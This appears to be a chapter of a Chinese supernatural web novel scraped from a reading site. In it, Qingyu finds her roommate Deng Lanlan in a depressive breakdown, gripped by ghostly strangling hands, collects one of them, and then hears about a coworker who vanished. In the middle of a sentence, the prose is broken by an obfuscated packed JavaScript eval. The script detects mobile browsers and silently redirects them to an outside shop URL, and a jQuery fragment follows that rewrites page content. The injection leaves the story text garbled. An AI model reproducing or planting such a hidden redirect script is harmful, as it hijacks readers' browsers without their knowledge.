店里的平板放在柜台上,青于没有手机,所以上班的时候总是抱着平板看。 方姐伸手,拿过平板。 清晨的老城区行人很少,这个点更是冷清,上学的遇不上,上班的也遇不上。 因为生意不好,这里的店铺开门很晚,一般都在十点之后。所以每天青于下班的时候路上都很安静,感觉整片城区只有她一个人。 走进小区里,青于迎面撞上一个慌慌张张的年轻男人,他一边看手表,一边拿着包狂奔。头发是乱的,衬衫的扣子也没对齐,错位了一颗,足以看出这个男人出门前的慌张。 青于一直盯着他,他就看了过来,脸色不太好,但看到青于的一瞬间有些诧异地瞪大了眼睛,“你是……昨晚上那个女孩儿?谢谢你昨晚叫醒我,改天有时间请你吃饭。我现在急着上班,先走了。” 是昨晚那个发生畸变的男人,他看起来很正常。 他说下次一起吃饭,到时候可以好好观察一下他。 青于回到家,发现小小的出租屋里乱糟糟的,地上全是脏水,衣服和外卖盒子也随意散落在地面,垃圾桶被踢翻了,里面的垃圾飞得到处都是。她昨晚吃了汤面,洒在地面的汤汁过了一夜后依旧散发着强烈的味道。 还有打翻的盆和桶,有一个盆碎了一个角,像是被踩碎的一样。 这是发生了什么? 青于踮着脚尖小心翼翼地避开那些垃圾进屋,这间屋子本来就很狭小,房东提供的床是一米五的,还有一张可以折叠的沙发床,卫生间是后面才隔出来的,占据了房间不少面积,所以可以行动的面积并不多。 青于开门的动静惊动了邓兰兰,她坐起来,头发乱糟糟的,眼睛也很肿,看起来一晚上没睡了。 既然没睡觉,为什么没有收拾?青于有些不高兴,将那两袋子零食放到了属于自己的沙发床上。 “对不起,我起来收拾……” 邓兰兰说完就想起来,她用手撑着床想要起身,但是她起不来。 被子里伸出很多形状各异的手,圆润的手、纤细的手、枯瘦的手、苍白的手,那些手全部黏在邓兰兰身上,在她的睡衣上,在她的手腕上,在她的腰上,在她的头发上,紧紧拽着她,不让她离开那张床。 邓兰兰拼尽全力,却只有一只脚落地,踩在床边的拖鞋上。 她叹了口气,红肿的眼睛又开始流眼泪,哽咽着说:“对不起啊,我、我不想动,我好像没有力气了,好累。” “我好难过啊青于,我什么都不想做,我不想动,我就想躺着……我想像一个废物一样,像一堆垃圾一样,就这么躺在床上。对不起,把家里弄这么脏,我不知道,我不知道怎么了,我好难过,我没力气收拾了……” 她号啕大哭,哭得上气不接下气,最后已经没办法说话了,因为肌肉痉挛疯狂地抽泣着,只能无助地用拳头敲着自己的胸膛。 她崩溃的大哭还在继续,但是脸上的表情已经完全定格,下弯的嘴角,眯着睁不开的眼睛,通红的鼻子…… 有一条漆黑的铁链从邓兰兰湿漉漉的枕头里伸出来,死死勒在她脖子上,将她往床上拽,铁链因为用力而绷直,在皮肤上勒出一道红痕后嵌入了肉里,皮肉被磨烂后露出红色的创面,看起来惨不忍睹。 邓兰兰抽泣着用手去抓自己的脖子,像是透不过气一样拼命地抓挠,在上面留下了一道道血痕。 青于连忙跑过去将她按在床上,铁链消失了,那些抓人的手也消失了。 她松了口气,给邓兰兰递了纸擦眼泪,然后语气很轻地告诉她,“你先别哭了,平复一下心情,躺着缓一缓,等我把房间收拾好之后我们再说。” 邓兰兰流着眼泪点头,她哭得止不住,就把被子拽起来盖在头上,藏在被子里继续痛哭。 青于伸手拍了拍床上的大鼓包,学着年幼时妈妈的语气,很温柔地说:“不哭了,别难过,没事的,这些都是小事情。” 邓兰兰应了一声,慢慢止住了哭泣。 她开始打扫卫生,先把地上的盆和桶收起来。 为了节省空间,邓兰兰买的盆和桶是一套可折叠的,一个桶两个盆,使用的时候展开,不用的时候折叠好堆在一起,这样放在卫生间里可以节省不少位置。 只有一个粉红色的盆是不可折叠的,那是上一个租户留下的东西,颜色很丑,但是因为盆很大很厚,所以邓兰兰一直没舍得扔。 现在,那个粉红色的盆碎了。如果是邓兰兰不小心踩到的,碎成这种程度的话,她的脚应该也受伤了。 昨晚到底发生了什么? 家里所有的折叠桶和盆都展开了,一般这种情况发生在她们需要洗澡的时候。 这个出租屋里没有热水器,洗澡的话要用电老虎烧水,邓兰兰的习惯是一个桶两个盆都装满热水,那个粉红色的盆就用来装换下来准备洗的衣服。 昨天晚上,她想洗澡吗? 这满地的水,是不是水洒了,她没能洗成? 青于之前遇到过一次,装满热水的折叠桶突然歪了一下,桶里的热水流出来差点把她烫伤,她当时就和邓兰兰说,这个桶太危险了,下次洗澡的时候不要在里面装太烫的水。 地上的衣服是湿的,还有洗衣粉的味道,应该是刚洗好的衣服。 她端着盆准备出去晾衣服的时候摔了?然后洗澡水也打翻了,所以才会突然崩溃吗?感觉她身上的畸变物越来越厉害了,已经出现了伤人的苗头,刚才,如果我没有强行将她按在床上,她是不是会被勒死? 青于加快了手上的动作,将地上的垃圾一一清理干净,把打翻的盆和桶归位,又用拖把将地面拖得干干净净,那些收拾好的垃圾也放在了门外。 做完这一切,她走到床边掀开邓兰兰盖在头上的被子,轻声询问她,“可以跟我说一下昨天晚上发生了什么吗?” 邓兰兰缓缓坐起身,眼神空洞地望着前方,嗓音发哑地陈述昨天晚上发生的事,那些一点点将她击溃的小事。 昨天晚上她打算洗澡,就接了一桶水放在屋子里,将电老虎放在里面烧着。她想起上次青于说过的,这个桶不太安全,会突然瘪下去,最好不要在里面装太烫的水,以免烫伤。 她就只烧了三分之二,打算烧好后把那三分之二兑成一桶加一盆温水。 电老虎开始工作后,她就去卫生间里洗衣服,用那个粉红色的塑料盆和暂时空置的折叠盆。她只有一套脏衣服,外加青于的衣服裤子,所以需要洗的并不多,很快就洗好了。 衣服洗好后她准备去楼顶晾,但是走到门口的时候,不知道为什么,原本放在她床边的垃圾桶出现在了门口将她绊倒在地,那些洗好的衣服也散落在地上,粉红色的塑料盆转了两圈倒扣在门口。 这只是一件小事,她爬起来叹了口气,无奈地收拾一地狼藉,想着时间来不及了,折叠桶里的水已经开始冒泡泡,她只能洗完澡后再洗衣服了。 这只是一件小事,一个小意外。生活中这样的小意外很多,就像是上班时遇到的难缠客人和偶尔对不齐需要自己补上的账目一样,没什么大不了的。 将衣服全部捡起来抱在怀里后,桶里的水开了,她就去拔电老虎的插头。 拿着电老虎去放的时候,踩到了一个从垃圾桶里飞出来的塑料袋,是那种装早餐的,薄薄的塑料袋,沾了湿衣服上的水迹,很滑,她极力保持平衡,却还是摔了,并且踩到了地上的塑料盆,在脚腕上划出一道很深的口子。 她再次告诉自己,这只是一个小意外,没关系的。 去楼下小诊所里看一下,然后回来之后就能洗澡了,没关系的,今晚可以洗澡,洗完澡就躺在床上睡觉,很舒服。衣服的话,明天再洗吧,明天再洗。 之后,她下楼去小区里的诊所里缝了针,花了一百七十多块钱。 医生说需要开点药吃,现在天气太热伤口容易感染。消炎药和擦的药加起来四十多,她觉得贵,就没要消炎药,她记得家里还有两板阿莫西林胶囊,那个应该可以吃。拒绝了消炎药,她剩下了二十多块钱。 那间诊所就开在小区里,距离她们住的这栋楼很近,往回走的时候会经过一家小吃店,里面炒饭的香味很浓郁,她想起今天还没正经吃过饭,就吃了两个临期的小面包。这么一想,突然就开始饿了,嘴里不断分泌口水,眼睛黏在饭馆的招牌上移不开。 今天已经很倒霉了,洗好的衣服脏了,盆破了,脚伤了,很疼了,她……很难过。 所以可以奢侈一把,吃一次夜宵。 进了小饭馆,她点了一份热腾腾的肥肠面,汤汁香浓,肥肠铺满,面条顺滑筋道,老板笑吟吟地把打包好的面递给她,让她回去的时候小心点别烫到。她手里拎着药和面回家,心里的郁气突然就消了,开始幻想那份昂贵的肥肠面会有多好吃。 今晚好像还不错,如果没有这些乱七八糟的意外,我就不会出门,我不出门就不会慷慨地给自己买一碗肥肠面。 回去吃了这碗面,今晚的一切意外都将终结,她要忘记这些不高兴。 到家后她立马吃了心心念念的肥肠面,确实很好吃,很香很香,不愧是开了几十年的小吃店。 碗里的肥肠她留到了最后,正打算开始吃,就听到后面有动静,一回头,折叠桶瘪了,热水流得满地都是。 她看了一会儿,转过头,将失去了味道的肥肠往嘴里塞。 吃完最后一口肥肠,她想就着面汤吃药,就把家里的阿莫西林胶囊翻出来了,但是一看保质期,已经过期了一个月。 她坐在原地很久没有动。 发现药过期的那一瞬间,这个房间里的一切都变成了攻击她的武器,在这样的攻击下,她体无完肤,只能颓败地抱着头,绝望大哭。 她下狠手扇了自己两记耳光,把桌上的一次性碗砸在地上,仅剩的那点面汤流得到处都是,那是她特意留下来想吃药的。 邓兰兰长长地叹了一口气,她说:“我原本想收拾的,但是我好累,我没有力气了,就想躺会儿缓一缓,结果上了床更不想动,只要一看见地上那些,我就觉得喘不过气……只能一直刷手机,刷手机就不会想起那些东西了。” “对不起啊青于,还让你帮我收拾。我太没用了,我真的太没用了……” 青于连忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710484|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“不是的,你没有没用,你别一直这么说自己。” 邓兰兰突然捂着脸,又开始哭了,“我就是很没用,我是个废物……我早就发现了,我就算辛苦一辈子也过不上小时候想象的日子。我只是、只是想有一间属于我的小房子,我能自己装修它,布置它,每天买菜回家做饭,晚上坐在沙发上看电视……只要我不愿意,就没人能把我撵走。” “我小时候住在我爸家里,只要他和后妈一吵架,他就会让我滚出去,说都是我他们才会吵架。跟他要钱也很难,他总是要骂我一顿,然后冷我几天才给钱……后妈带来的儿子有残疾,是个智障,她经常和我说,我不是她女儿,不能住在她家里,如果要住在她家里,以后就要嫁给她儿子……” “我太害怕了,一成年就买了票去外省打工,直到她儿子出意外死了才敢回来。所以我找不到什么好工作,只能在便利店混日子,苦兮兮的,就算上夜班被客人性骚扰也只能忍着,因为没人会帮我出头,我也很需要这份工作……” “你说多奇怪啊,他们好像都知道我没人撑腰,所以谁都能欺负我。所以,我到底为什么活着?为了受苦吗?总不可能一辈子都要吃苦吧,什么时候日子才会好过一点啊……” 她真的很难过,青于能看见。 那些手从四面八方冒出来,将她紧紧抱在怀里,越收越紧,越收越紧,仿佛要把她勒死。她闭上眼,不再说话了,没有抵抗,任由那些手将她抱住、勒紧、束缚。 她觉得有点窒息,就放缓了呼吸的节奏,试图去适应这种窒息。 她真的丝毫没有抵抗,默默承受了一切,给人的感觉很怪异,就好像死亡到来的一瞬间,她也只会懊悔自己没有适应那样的节奏,是一个失误。 青于拿了刀出来,用力砍下一截手掌装进盒子里。 【当前畸变物已收纳,目前进度2/5】 青于收好刀,推了推邓兰兰的肩膀,突然说道:“我们去吃火锅吧。” 邓兰兰如梦初醒,睁开眼看向她,“为什么?” 为什么要管我?为什么要救我?为什么要向一个废物释放善意?为什么要让一滩烂泥重新塑形? 青于从书包里把那一万块钱拿出来,开始介绍它的来历。 进店后对她进行性骚扰的客人,迷迷糊糊神志不清的客人,被拖到垃圾桶后胖揍一顿的客人,她耸了耸肩膀,一点也不害怕地说:“他今晚要是还敢来,我还想挣他一万。” 邓兰兰有些担忧,“这个钱不敢花吧,他会报警的。” “他自己给的,凭什么不敢花。他要是敢报警,我会好好收拾他的,我可不怕他,一个满脑子垃圾的废物,什么东西,敢跟我闹。” 邓兰兰笑了一下,眼里的担忧却一点没散,她说:“你还小,你不懂的。很多事情不是力气大胆子大就能解决的,这个世界很黑暗,那些坏人欺负人的方式多得很,躲不掉的,小严性格和你差不多,受欺负了就会还手,然后有一天,她突然消失了。” “所以啊,你上班的时候小心点。” 青于突然想起了便利店变成方块的时候,有些方块上是有血的。 她连忙问道:“小严是什么时候消失的?” 邓兰兰想着这对她来说是个警示,就一五一十地告诉她了。 小严也是个年轻女孩儿,二十出头,长相清秀,性格开朗,和周围的邻居关系不错。 她消失的那天也是在上夜班,凌晨的时候店长接到电话,和往常一样,让他去警局接人回来,小严又和醉鬼打架了。 她才来了两个月,这样的事情已经发生好几次了。店长有点受不了,就扣了她一个月的工资,并且警告她再有下次就别干了,走人吧。 第二天邓兰兰去接班的时候,发现店门上了锁,小严消失了。 店里的监控从店长离开后就坏了,全是马赛克,老城区街道上的监控也没拍到小严的身影,住在周围的邻居们都说没见过她,因为老城区很多地方存在监控死角,所以很难确定她是被人带走,还是自己离开的。 因为那天店长扣了她的工资,所以她可能一气之下就走了。 但后续一直没有她的踪迹,不管怎样也无法联系到她,她就这样无声无息地消失在老城区。 她们隐约有些猜测,觉得可能是那些被小严揍过的人报复她。 而且小严的家里人都去世了,也没人追踪这件事的进度,现在好像成了悬案,不了了之了。 那天便利店里的小方块也是一种畸变,但是当时现场只有她和方姐。方姐的畸变是植物,她自己本身是没有畸变的,所以那些畸变是属于谁的? 是在便利店消失的小严,还是便利店?建筑物会产生畸变吗?如果会的话,契机是什么?建筑又不会产生情绪。 算了,还是先请邓兰兰去吃火锅吧。 任务是收集五种畸变物,现在已经收集了两种,第三种在方姐身上,应该很快就能拿到,任务快要过半了,但是天赋的提示音还没响,还没出现可以绑定的人啊。 上午吃火锅的人很少,火锅店里只有她们这一桌。 青于点了很多肉和菜,想要好好全一全邓兰兰的心愿,就算吃不完也没事,打包带回去煮泡面吃。 吃了火锅回来,邓兰兰情绪好了很多,还跟青于聊了会儿天。 说起青于带回来的东西,她有些奇怪,就问青于方姐为什么不要。 青于:“不知道啊,我问她了,她说她不要,还说什么以后都不省钱了。” 邓兰兰:“好奇怪,方姐的儿子很喜欢吃零食,有时候饭都不吃就要吃零食,所以方姐经常带零食回去给他,能省很多钱。而且那些吐司面包、三明治、饭团之类的,她都会再次加工给她儿子当早餐吃,有时候她老公回家,她也这么弄早饭。不过也正常,她老公挺有钱的,可能那男的突然想明白了,给方姐的家用变多了。” 青于皱了皱眉,觉得可能不是这个原因,那个男的怎么看也不是会体谅老婆的人。